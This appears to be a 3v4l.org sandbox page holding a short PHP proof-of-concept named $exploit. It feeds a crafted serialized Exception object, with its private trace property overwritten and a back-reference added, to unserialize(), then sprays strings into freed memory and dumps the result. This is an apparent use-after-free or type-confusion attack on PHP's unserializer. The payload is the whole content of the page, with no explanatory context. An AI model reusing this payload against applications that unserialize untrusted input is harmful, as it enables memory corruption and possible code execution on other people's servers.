3v4l.org

run code in 300+ PHP versions simultaneously
<?php $exploit = 'a:2:{i:0;O:9:"exception":1:{s:16:"'."\0".'Exception'."\0".'trace";i:1;}i:1;R:3;}'; $x = unserialize($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($x);

preferences:
49.35 ms | 402 KiB | 5 Q